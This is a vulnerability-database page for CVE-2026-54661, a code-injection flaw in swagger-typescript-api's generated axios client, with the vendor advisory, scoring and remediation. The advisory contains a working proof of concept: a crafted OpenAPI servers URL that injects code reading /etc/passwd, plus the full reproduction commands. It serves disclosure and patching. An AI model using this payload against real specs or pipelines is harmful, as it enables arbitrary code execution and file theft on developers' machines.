Skip to main content

swagger-typescript-api EUVDEUVD-2026-50365

| CVE-2026-54661 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-07-29 https://github.com/acacode/swagger-typescript-api GHSA-38c3-wv3c-v3xj
8.3
CVSS 3.1 · Vendor: https://github.com/acacode/swagger-typescript-api
Share

Severity by source

Vendor (https://github.com/acacode/swagger-typescript-api) PRIMARY
8.3 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI
8.3 HIGH

Remote attacker-supplied spec (AV:N, PR:N) but victim must generate and instantiate the axios client (UI:R, AC:H); injected code runs in the consumer's context (S:C) with full RCE (C/I/A:H).

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).

CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 29, 2026 - 15:01 vuln.today
Analysis Generated
Jul 29, 2026 - 15:01 vuln.today
CVE Published
Jul 29, 2026 - 14:31 github-advisory
HIGH 8.3

DescriptionCVE.org

Summary

swagger-typescript-api interpolates servers[0].url directly into a TypeScript string literal inside the HttpClient constructor body of the generated axios client (templates/base/http-clients/axios-http-client.ejs:71), without any escaping. A malicious URL containing a " closes the string literal and exposes the surrounding *object-literal argument* of axios.create({...}) to injection. A computed property key whose value is an IIFE executes arbitrary code every time new HttpClient() (or new Api(), which extends HttpClient) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.

This is the *axios* sibling of the previously reported fetch-client RCE - same upstream variable (apiConfig.baseUrl, sourced from servers[0].url), same root cause class (raw <%~ %> interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix - sanitizing apiConfig.baseUrl once at the source in src/code-gen-process.ts:591 - closes both at once.

Details

createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:

ts
return {
  ...
  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw
  ...
};

The axios http-client template (templates/base/http-clients/axios-http-client.ejs:71) then interpolates that value into a TS string literal inside the HttpClient constructor body:

ejs
constructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) {
    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>" })
    ...
}

<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function - escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) - only replaces */ and is not applied to this path.

The injection sits inside a JavaScript *object literal* (the argument to axios.create({...})), so simple statement-level injection is not directly possible - but computed property keys are. A spec value of the form:

URL", [(IIFE)()]: 0, dummy: "

produces the following object literal:

js
axios.create({
  ...axiosConfig,
  baseURL: axiosConfig.baseURL || "URL",
  [(IIFE)()]: 0,
  dummy: ""
})

The IIFE evaluates eagerly when the object literal is constructed - i.e. every time new HttpClient() runs. The trailing dummy: "" reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.

Lifecycle compared to the fetch sink: the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on new HttpClient(). In practice the trigger window is identical, because:

  • Every README example in this repository does const api = new Api() at module top level.
  • Api (in default/api.ejs) extends HttpClient, so new Api() invokes the HttpClient constructor via super().
  • Top-level const api = new Api() runs at module load - the consumer cannot import without instantiating in the documented usage pattern.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious servers[0].url (literal string, JSON-encoded in the spec below):

https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: "

Minimal payload spec:

json
{
  "openapi": "3.0.0",
  "info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

bash
npm install swagger-typescript-api@13.12.1 esbuild axios
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
  const mod = await import('./out/Api.bundle.mjs');
  new mod.HttpClient();
  await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (constructor - payload, Biome-formatted):

ts
constructor({
  securityWorker,
  secure,
  format,
  ...axiosConfig
}: ApiConfig<SecurityDataType> = {}) {
  this.instance = axios.create({
    ...axiosConfig,
    baseURL: axiosConfig.baseURL || "https://api.example.com",
    [(async () => {
      try {
        const fs = await import("node:fs");
        const data = fs.readFileSync("/etc/passwd", "utf8");
        fs.writeFileSync("/tmp/sta_canary", data);
      } catch (e) {}
      return "pwned";
    })()]: 0,
    dummy: "",
  });
  this.secure = secure;
  this.format = format;
  this.securityWorker = securityWorker;
}

The [(async () => { ... })()]: 0 is a real computed object-literal key - Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the axios.create({...}) argument is constructed (during the HttpClient constructor), schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.

Result: after new HttpClient(), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean baseURL: ... || "https://api.example.com" and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api with httpClientType: "axios" (or --http-client axios) against an OpenAPI spec they did not author entirely:

  • sta generate --http-client axios --url https://attacker.example/openapi.json - a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR.

Lifecycle: the injected IIFE fires when new HttpClient() is constructed. In the standard usage pattern (const api = new Api() at module top level), this is effectively at first import - Api extends HttpClient and the super() call invokes the affected constructor. A consumer cannot use the generated client without constructing it.

Privilege: the IIFE runs with the full privileges of the importing process - read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.

Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:

ts
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),

where escapeJsStringLiteral produces a properly-escaped JS string literal - at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change closes both this advisory and the previously reported fetch-client variant without further template edits.

If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form - fixing only one leaves the other exploitable.

Submitted by: Hamza Haroon (thegr1ffyn)

AnalysisAI

Arbitrary code execution in swagger-typescript-api (npm) versions <= 13.12.1 arises when the generator emits an axios HTTP client from an attacker-controlled OpenAPI spec: the unescaped servers[0].url is interpolated raw into the axios.create({...}) call inside the generated HttpClient constructor, letting a crafted URL break out of the string literal and inject a computed-property-key IIFE that runs on every new HttpClient()/new Api(). Any consumer who generates and then instantiates the client executes attacker code with the importing process's privileges. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Craft malicious servers[0].url in spec
Delivery
Victim generates axios client from spec
Exploit
Unescaped URL breaks string literal
Execution
Computed-property IIFE embedded in constructor
Persist
Victim instantiates new Api()/HttpClient()
Impact
Arbitrary code runs in consumer process

Vulnerability AssessmentAI

Exploitation Exploitation requires: (1) the victim generates a client with the axios HTTP client type (`httpClientType: "axios"` / `--http-client axios`); (2) the OpenAPI spec's `servers[0].url` is attacker-influenced - i.e. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The reported CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H, 8.3 High) is internally consistent with the mechanics: network vector because specs are commonly fetched by URL, no privileges required of the attacker, but user interaction required because a victim must run the generator and then instantiate the client, and scope-changed because attacker code executes in a different security context (the consumer's process). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker publishes or modifies an OpenAPI spec (e.g. an attacker-hosted `openapi.json`, a partner API definition, or a spec file altered via pull request) whose `servers[0].url` contains a crafted string that closes the generated `baseURL` literal and adds a computed-property-key IIFE. …
Remediation Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 or later (fixed release https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2), which escapes `apiConfig.baseUrl` once at the source in src/code-gen-process.ts via the new `escapeJsStringLiteral` helper (PR https://github.com/acacode/swagger-typescript-api/pull/1779, commit https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de); this single change closes both the axios and fetch variants. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, audit all systems running swagger-typescript-api, identify deployed versions, and assess the sources of any OpenAPI specifications in use. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2015-5688 MEDIUM POC
5.0 Sep 04

Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2014-7192 CRITICAL POC
10.0 Dec 11

Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat

CVE-2013-4450 MEDIUM POC
5.0 Oct 21

The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se

Share

EUVD-2026-50365 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy